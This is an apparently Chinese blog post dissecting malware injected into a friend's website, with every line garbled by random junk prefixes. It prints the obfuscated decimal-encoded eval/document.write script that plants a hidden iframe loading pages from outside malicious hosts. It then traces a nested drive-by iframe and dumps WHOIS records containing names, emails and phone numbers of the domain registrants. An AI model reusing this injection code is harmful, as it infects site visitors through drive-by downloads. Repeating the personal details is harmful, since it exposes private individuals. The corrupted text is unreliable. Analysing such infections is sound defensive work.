首发在我的博客里面，
5# B M | H&&80I http://www.areway.cn/?p=175 "5b4fQ;x !eA6Ejf ?L+|b5RS 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
<m0m8p"G $8 WeWmY <script>t=’60,105,102,114,97,109,101,
Rg%Xy`gS 32,115,114,99,61,104,116,116,112,58,47,47,
:b"&Rc&s. 102,114,101,101,46,117,45,117,117,117,46,99,
Hh`HMa'q 110,47,101,114,114,111,114,46,104,116,109,
\W+Hzf]
W# 32,119,105,100,116,104,61,49,48,48,32,104,
-fT}Nj\ 101,105,103,104,116,61,48,62,60,47,105,102,
7_ CX6: 114,97,109,101,62′;
80 "oT'ZFh t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
3='Kii=LA eZMfn$McJv <script>t=’60,105,102,114,97,109,101,32,115,
<K {|#ND# 114,99,61,104,116,116,112,58,47,47,102,114,
8 Az|SJ< 101,101,46,117,45,117,117,117,46,99,110,47,
{Y1&GO; 101,114,114,111,114,46,104,116,109,32,119,
I]6,hygs 105,100,116,104,61,49,48,48,32,104,101,105,
a
Ju v{ 103,104,116,61,48,62,60,47,105,102,114,97,
@Zw[LIQ* 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
yII+#?D document.write(t);</script>
( 7w9 5xI K:54`UJ <html xmlns=”
v(~EO(n. http://www.w3.org/1999/xhtml Ls/*&u “>
| u_f VQj <head>
'H-hp
<!– Published By Newasp.cc 2007-12-7-18:03:23 –>
YYF.0G} <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
0S&C[I
o6 <title>首页 - 爱生活家庭网
K96N{"{iI% y1#*c$ O 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
sGO+O$J 转换字符串后的大概内容是（谁点击后果自付）：
>oL| nwn <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
F!zGk(Pu 5`Y>!|
Ab 查询玉米u-uuu.cn的详细信息：
46gDoSS Domain Name: u-uuu.cn
u-@;Q<v$ ROID: 20070901s10001s64972306-cn
N S){D7T Domain Status: ok
z C 7 b Registrant Organization: 王雷
vf?Xt Registrant Name: 王雷
Gs U.Lkf Administrative Email:
czlovexs@126.com b we)_<c Sponsoring Registrar: 北京万网志成科技有限公司
9v?rNJs Name Server:ns.yovole.com
}#phN n6 Name Server:ns1.yovole.com
R#4f_9e <Z Registration Date: 2007-09-01 17:54
Mw|lEctN0 Expiration Date: 2008-09-01 17:54
hp$1c 最后PING了一下地址 都没有什么….
p
Cgm!t?/ FYIz_GTk 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
_V(FHjY <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
z uI7Px <script language=”javascript” src=”
3 EO uJ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script lu;gmWz >
*3rp
g 这个玉米应该有可能是木马作者的：
N9 T M foafau.info的详细信息：
gf70 O>E Access to INFO WHOIS information is provided to assist persons in
)WsR
8tk determining the contents of a domain name registration record in the
z-^/<u1p Afilias registry database. The data in this record is provided by
ta0 ;:o?/d Afilias Limited for informational purposes only, and Afilias does not
qJ[wVNHh! guarantee its accuracy. This service is intended only for query-based
Oar%LSkPRz access. You agree that you will use this data only for lawful purposes
,:%
h`P_ and that, under no circumstances will you use this data to: (a) allow,
{hVc,\A enable, or otherwise support the transmission by e-mail, telephone, or
\d-9Ndp
nf facsimile of mass unsolicited, commercial advertising or solicitations
*Rgl(Ba to entities other than the data recipient’s own existing customers; or
k,LaFe`W (b) enable high volume, automated, electronic processes that send
7ea%mg \ queries or data to the systems of Registry Operator, a Registrar, or
TecWv@. Afilias except as reasonably necessary to register domain names or
t|C ?=:_ modify existing registrations. All rights reserved. Afilias reserves
~(]'ah, the right to modify these terms at any time. By submitting this query,
A u"BDP you agree to abide by this policy.
TGuCIc0B{ Domain ID:D22418703-LRMS
P5__[aTD Domain Name:FOAFAU.INFO
"r HPcp"m Created On:20-Nov-2007 16:05:42 UTC
$ZlzS`XF7 Last Updated On:20-Nov-2007 16:05:44 UTC
th}&|Y)T2 Expiration Date:20-Nov-2008 16:05:42 UTC
W/.Wp|C}K3 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
2/ejU,S Status:CLIENT DELETE PROHIBITED
y=zs6HaS Status:CLIENT RENEW PROHIBITED
)}@Z*.HZL Status:CLIENT TRANSFER PROHIBITED
.t.4y.
97 Status:CLIENT UPDATE PROHIBITED
='6@^6y Status:TRANSFER PROHIBITED
3j2d&*0 Registrant ID:GODA-040110615
wcW7k(+0 Registrant Name:liu hong
s){R/2O3F Registrant Organization:
q+ka}@ Registrant Street1:beijing
\ m(>Q Registrant Street2:
|8fdhqy_ Registrant Street3:
HG^~7oMf Registrant City:beijing
+de5y]1H,| Registrant State/Province:
4iY
<7l8 Registrant Postal Code:100000
Rp
!Rzl< Registrant Country:CN
7p M&))R Registrant Phone:+86.860108888777
b6g/SIae Registrant Phone Ext.:
-qG7, t Registrant FAX:
1;HL=F Registrant FAX Ext.:
2 ]}e4@{ Registrant Email:bbbshiji@163.com
Ct]? / Admin ID:GODA-240110615
/w2NO9Q Admin Name:liu hong
Sg1 ,9[pb Admin Organization:
m }t`43}QE Admin Street1:beijing
Q}uh`?t Admin Street2:
wsgT`M'J[ Admin Street3:
-BH T'zq1S Admin City:beijing
\~.el Kw<U Admin State/Province:
uFL!* #A Admin Postal Code:100000
@%!Gj{ Admin Country:CN
W ?0u_F Admin Phone:+86.860108888777
H k?E0 . Admin Phone Ext.:
y1#QP3'Z1 Admin FAX:
kfq<M7y Admin FAX Ext.:
o3HS | Admin Email:bbbshiji@163.com
%>t4ib_8 Billing ID:GODA-340110615
Jq tOoR Billing Name:liu hong
4F+G;'JV Billing Organization:
~R7{gCqdr Billing Street1:beijing
$E^*^({ Billing Street2:
CJ [e^K{ Billing Street3:
Ni #y=cb Billing City:beijing
{ 'cdi` Billing State/Province:
%:y"o_X_ Billing Postal Code:100000
j#${L6 Billing Country:CN
&Q t1~#1 Billing Phone:+86.860108888777
Tj=@5lj0 Billing Phone Ext.:
PMe 3Or@ Billing FAX:
@'"7[k!y; Billing FAX Ext.:
lr$,=P` Billing Email:bbbshiji@163.com
iOiXo6YE Tech ID:GODA-140110615
rLcXo %w Tech Name:liu hong
ZWx4/G Tech Organization:
9g7O k9dF Tech Street1:beijing
8KWhXF Tech Street2:
|`Be( Tech Street3:
Ca0t}`<S Tech City:beijing
i8.OM*[f Tech State/Province:
i~tps Tech Postal Code:100000
wV'_{ /WM Tech Country:CN
=<U'Jtu6' Tech Phone:+86.860108888777
sNJ?Z"5k1h Tech Phone Ext.:
Z$S0X $q} Tech FAX:
B |S X?X Tech FAX Ext.:
E#n: d9WA: Tech Email:bbbshiji@163.com
:s|xa u= Name Server:NS27.DOMAINCONTROL.COM
3Z74&a $ Name Server:NS28.DOMAINCONTROL.COM
w^/"j_p@ Name Server:
sVP2$? Name Server:
M \>5" ,0 Name Server:
`7'=~BP?X Name Server:
df s1BV' Name Server:
Dm`gzGl Name Server:
2Oy-jM Name Server:
Rr >"" Name Server:
_? u} Jy_ Name Server:
N}q*(r!q< Name Server:
r8!M8Sc Name Server:
+ N!/>w]n #M92=IH 接着下载每个文件里面的代码：
D$SO 6X~ 一步一步看..
o
Hrx$>W] 
nG"Ae8r 
}:+P{ 
a!:R_P}7 
Ls NJ3oy 
/7C %m: 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
